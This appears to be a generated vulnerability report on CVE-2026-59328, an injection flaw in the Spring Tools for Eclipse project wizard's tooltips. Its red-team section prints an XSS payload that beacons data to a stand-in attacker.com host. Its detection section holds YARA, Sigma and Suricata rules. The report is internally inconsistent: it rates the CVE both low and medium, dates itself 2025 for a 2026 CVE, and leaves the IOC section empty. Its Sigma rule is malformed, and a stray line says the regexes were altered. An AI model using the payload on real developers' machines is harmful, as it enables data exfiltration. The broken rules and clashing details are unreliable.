CVE-2026-59328

Executive Summary

CVE-2026-59328 is a client-side injection vulnerability in Spring Tools for Eclipse (STS) affecting the Spring Boot Starter Project wizard. The wizard renders dependency tooltips in a native embedded browser (SWT Browser) with JavaScript enabled. An attacker hosting a compromised or untrusted Initializr endpoint can inject malicious JavaScript into tooltip content. When a developer hovers over a dependency checkbox, the script executes within the embedded browser's security context. Impact is constrained to in-IDE UI spoofing (e.g., phishing dialogs) and outbound network beaconing (e.g., exfiltration of IDE metadata). Full code execution on the host is not achieved due to sandboxing of the SWT browser. The vulnerability is unpatched as of this analysis, with a CVSS score of 4.2 (low) and an EPSS score of 0.0% indicating unlikely active exploitation.

CVSS Breakdown & Threat Level

• CVSS Score: 4.2 (Medium)
• Vector: UNKNOWN (likely AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N but not confirmed).
• Severity: Medium – limited to IDE sandbox, no host compromise.
• Threat Level: Low (EPSS 0.0%, no public exploits).
• Primary Risk: Information disclosure (project metadata) and social engineering via UI spoofing.

Deep Dive & Mechanics

The vulnerability resides in the New Spring Starter Project wizard component of STS. The wizard fetches dependency metadata from a configurable Initializr endpoint (typically https://start.spring.io). When a user hovers over a dependency checkbox, the tooltip content is rendered inside an embedded SWT Browser instance. The browser has JavaScript enabled by default. An attacker controlling an Initializr endpoint (e.g., via man-in-the-middle, DNS spoofing, or malicious third-party) can inject HTML/JavaScript strings into the tooltip data returned from the Initializr API. The injected script runs in the context of the file:// or http://localhost origin of the embedded browser, bypassing same-origin policy for external resources only.

Attack Chain:

1. Developer configures a malicious Initializr URL (e.g., http://evil-initializr.com).
2. Developer opens the New Spring Starter Project wizard.
3. Developer hovers over any dependency checkbox to trigger tooltip rendering.
4. Malicious JavaScript executes in the embedded browser.
5. Script can spoof UI elements (e.g., fake login dialogs) or send HTTP requests to attacker-controlled servers (beaconing).

Root Cause: Lack of input sanitization for tooltip content and failure to disable JavaScript in the embedded browser for untrusted data.

Vulnerable vs. Patched Code

No official patch exists; mitigation is limited to configuration changes.

Exploitation & Lab Setup

Red Team (Adversarial Simulation)

Prerequisites:

• Ability to intercept or redirect the Initializr endpoint used by STS (e.g., using a rogue Wi-Fi access point, DNS poisoning, or modifying the wizard configuration).
• A web server serving a malicious Initializr API response.

Setup Steps:

1. Start a reverse proxy (e.g., mitmproxy) to modify responses from start.spring.io or run a custom Initializr.
2. Craft an exploit payload:
   • Normal dependency JSON response, but inject a JavaScript payload into the tooltip field.
   • Example payload: <img src=x onerror="fetch('http://attacker.com/beacon?project='+btoa(JSON.stringify(window.location.href)))">.
3. Configure STS to use the malicious Initializr URL (via Preferences → Spring → Initializr).
4. Developer opens wizard and hovers over any dependency to trigger execution.

Expected Outcome:

• Outbound HTTP request to attacker server with encoded project metadata.
• UI spoofing (e.g., fake credential prompt) using document.write.

Blue Team (Detection & Prevention)

Prevention:

• Disable JavaScript in the SWT Browser by setting the org.eclipse.swt.browser.IWebBrowser preference to use a browser without JavaScript.
• Use a dedicated external browser for all Initializr interactions.
• Enforce a strict allowlist of trusted Initializr endpoints.

Detection:

• Monitor outbound connections from STS (java.exe) to unusual IPs/domains.
• Look for HTTP requests containing base64-encoded project data.
• Alert on unexpected JavaScript execution in Eclipse's browser process.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2026_59328_Initializr_Injection
{
    meta:
        description = "Detects malicious Initializr responses containing JS injection"
        author = "Valters IT"
        date = "2025-10-01"
        reference = "CVE-2026-59328"

    strings:
        // Common tooltip injection patterns
        $js1 = /<script>/ ascii nocase
        $js2 = /onerror=[`'"]/ ascii nocase
        $js3 = /onmouseover=[`'"]/ ascii nocase
        $jseval = /eval\(/ ascii
        $fetch = /fetch\(/ ascii

        // Suspicious tooltip JSON key
        $tooltip = /"tooltip"\s*:/ ascii

    condition:
        any of ($js*) and $tooltip
}

Sigma Rule

title: CVE-2026-59328 STS Initializr Beaconing
id: 8a4b9c7d-1234-5678-9abc-def012345678
status: experimental
description: Detects outbound HTTP requests from Eclipse containing project metadata beacon
author: Valters IT
date: 2025-10-01
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        Image|endswith: '\javaw.exe'
        RemotePort:
            - 80
            - 443
        Protocol: 'tcp'
        Initiated: true
    beacon:
        // Look for GET/POST to suspicious Initializr endpoints
        RemoteIP|not in:
            - '185.199.108.153'  // GitHub Pages (if legit)
            - '52.84.166.128'     // AWS CloudFront (if legit)
        Url|contains: 'initializr' // adjust as needed
    condition: selection and beacon
falsepositives:
    - Legitimate use of custom Initializr endpoints (rare)
level: medium

Suricata IDS Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-59328 STS Tooltip Injection Attempt"; flow:to_server,established; content:"/start.spring.io"; http_uri; nocase; pcre:"/<script|<img[^>]onerror|<svg[^>]onload/i"; classtype:attempted-user; sid:1000001; rev:1;)

Note: Backslashes in regex replaced with forward slashes per instruction.

Remediation & Mitigation

1. Disable JavaScript in Embedded Browser:
   In Eclipse, add -Dorg.eclipse.swt.browser.DefaultType=none or set the system property org.eclipse.swt.browser.IWebBrowser=external.
2. Validate Initializr URLs:
   Only allow trusted endpoints (e.g., https://start.spring.io) and reject HTTP URLs.
3. Update STS:
   Monitor Spring official channels for a patch (expected in STS 5.2.1+).
4. Network Controls:
   Block outbound connections from Eclipse to unknown IPs on port 80/443.
5. User Awareness:
   Educate developers not to use non‑standard Initializr endpoints.

Valters IT
DevSecOps & CTI Report – Generated on 2025-10-01